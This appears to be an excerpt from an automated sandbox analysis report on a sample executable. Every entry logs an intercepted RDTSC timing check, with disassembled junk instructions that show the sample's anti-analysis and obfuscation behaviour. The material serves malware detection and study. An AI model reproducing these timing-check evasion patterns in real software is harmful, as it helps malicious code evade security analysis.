Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEB471 second address: CEB4BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F7024DCF526h 0x0000000c xchg eax, ebx 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F7024DCF518h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 je 00007F7024DCF516h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push ecx 0x00000031 push edi 0x00000032 pop edi 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEB725 second address: CEB72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED1CE second address: CED1D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEE501 second address: CEE505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED1D2 second address: CED1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED1D8 second address: CED1E9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7025350AB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEF99F second address: CEF9AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEF9AE second address: CEF9B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF1943 second address: CF1947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEED34 second address: CEED3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF1947 second address: CF194B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEED3A second address: CEED3F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF194B second address: CF1951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEED3F second address: CEED51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F7025350AB8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CEED51 second address: CEED57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF3D36 second address: CF3D83 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D3A29h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F7025350AB8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov di, bx 0x00000035 xor edi, 00DA9000h 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e jnp 00007F7025350AB6h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF4BB7 second address: CF4C1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c jne 00007F7024DCF516h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 pop ecx 0x00000016 nop 0x00000017 mov edi, 18E64218h 0x0000001c push 00000000h 0x0000001e clc 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F7024DCF518h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F7024DCF529h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF4C1E second address: CF4C2B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF4C2B second address: CF4C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF6CAD second address: CF6CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF6E30 second address: CF6E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF7E61 second address: CF7F03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7025350ABFh 0x0000000f nop 0x00000010 push esi 0x00000011 mov di, 630Dh 0x00000015 pop ebx 0x00000016 xor edi, dword ptr [ebp+122D3A89h] 0x0000001c push dword ptr fs:[00000000h] 0x00000023 sub dword ptr [ebp+122D2533h], esi 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 sub dword ptr [ebp+124565E5h], edx 0x00000036 mov eax, dword ptr [ebp+122D0051h] 0x0000003c jmp 00007F7025350AC4h 0x00000041 push FFFFFFFFh 0x00000043 ja 00007F7025350ABCh 0x00000049 nop 0x0000004a jmp 00007F7025350AC9h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jnp 00007F7025350ABCh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF8F1D second address: CF8F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 je 00007F7024DCF524h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F7024DCF516h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF9D59 second address: CF9D5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF9E7A second address: CF9F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F7024DCF516h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov edi, dword ptr [ebp+122D2378h] 0x00000017 push dword ptr fs:[00000000h] 0x0000001e jo 00007F7024DCF51Fh 0x00000024 jl 00007F7024DCF519h 0x0000002a mov bx, ax 0x0000002d mov ebx, esi 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 mov dword ptr [ebp+122D3678h], ecx 0x0000003c mov eax, dword ptr [ebp+122D007Dh] 0x00000042 jmp 00007F7024DCF527h 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007F7024DCF518h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 0000001Bh 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 xor di, ABE7h 0x00000068 mov bx, F278h 0x0000006c push eax 0x0000006d push ecx 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CF9F07 second address: CF9F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CFDA6F second address: CFDA75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D00B29 second address: D00B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CFEBE8 second address: CFEBEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D00B2D second address: D00B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7025350AC0h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7025350AC2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CFDC4F second address: CFDC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7024DCF51Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CFEBEC second address: CFEBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D011BA second address: D011BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D011BE second address: D01200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a mov edi, 034A423Fh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F7025350AB8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b jns 00007F7025350ABCh 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D013EF second address: D01405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F7024DCF51Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D02547 second address: D0254B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D0339D second address: D033C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F7024DCF529h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D01405 second address: D014A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F7025350AB8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov dword ptr [ebp+122D324Dh], ecx 0x00000031 cmc 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 jnp 00007F7025350ABCh 0x0000003f xor ebx, dword ptr [ebp+122D2C72h] 0x00000045 mov eax, dword ptr [ebp+122D0A19h] 0x0000004b mov dword ptr [ebp+122D2989h], edx 0x00000051 mov edi, 38C9A563h 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push ebx 0x0000005b call 00007F7025350AB8h 0x00000060 pop ebx 0x00000061 mov dword ptr [esp+04h], ebx 0x00000065 add dword ptr [esp+04h], 0000001Ch 0x0000006d inc ebx 0x0000006e push ebx 0x0000006f ret 0x00000070 pop ebx 0x00000071 ret 0x00000072 mov dword ptr [ebp+12456664h], edx 0x00000078 push eax 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D033C4 second address: D033CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7024DCF516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D014A1 second address: D014C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7025350AC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D03565 second address: D0356B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D045F9 second address: D045FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D045FE second address: D04603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D04603 second address: D04687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F7025350AB8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edi, ecx 0x00000028 jp 00007F7025350ABCh 0x0000002e push dword ptr fs:[00000000h] 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F7025350AB8h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f or dword ptr [ebp+12478045h], ebx 0x00000055 mov dword ptr fs:[00000000h], esp 0x0000005c mov eax, dword ptr [ebp+122D1705h] 0x00000062 mov edi, dword ptr [ebp+122D1CF4h] 0x00000068 push FFFFFFFFh 0x0000006a mov dword ptr [ebp+122D2FFBh], esi 0x00000070 push eax 0x00000071 push ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 jno 00007F7025350AB6h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D09712 second address: D09718 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D09718 second address: D09733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7025350AC5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D09733 second address: D0974F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF526h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D0974F second address: D0977B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7025350AB6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F7025350AC8h 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D0977B second address: D09783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D09783 second address: D097A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F7025350AB6h 0x0000000d jmp 00007F7025350AC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CB2B24 second address: CB2B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Dh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D0ED79 second address: D0ED7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D0ED7F second address: D0ED8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D0ED8A second address: D0ED8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D14004 second address: D14008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D14008 second address: D14023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1A85C second address: D1A860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: C9B20F second address: C9B215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: C9B215 second address: C9B219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: C9B219 second address: C9B21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: C9B21F second address: C9B225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D196CD second address: D196D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D196D1 second address: D196E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D196E3 second address: D196EE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F7025350AB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D196EE second address: D19700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7024DCF51Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D19700 second address: D19704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1A1D3 second address: D1A1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7024DCF51Bh 0x0000000b jmp 00007F7024DCF524h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1E92D second address: D1E947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F7025350AB6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7025350ABBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1E947 second address: D1E94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1E94B second address: D1E957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7025350AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1E957 second address: D1E963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7024DCF516h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1EAB9 second address: D1EAC3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1EAC3 second address: D1EAE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF528h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1EAE1 second address: D1EAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1EEED second address: D1EEF7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1E68A second address: D1E68F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1F63B second address: D1F657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007F7024DCF516h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F7024DCF516h 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1F8AB second address: D1F8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1F8AF second address: D1F8B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D1F8B3 second address: D1F8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D289C9 second address: D289CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
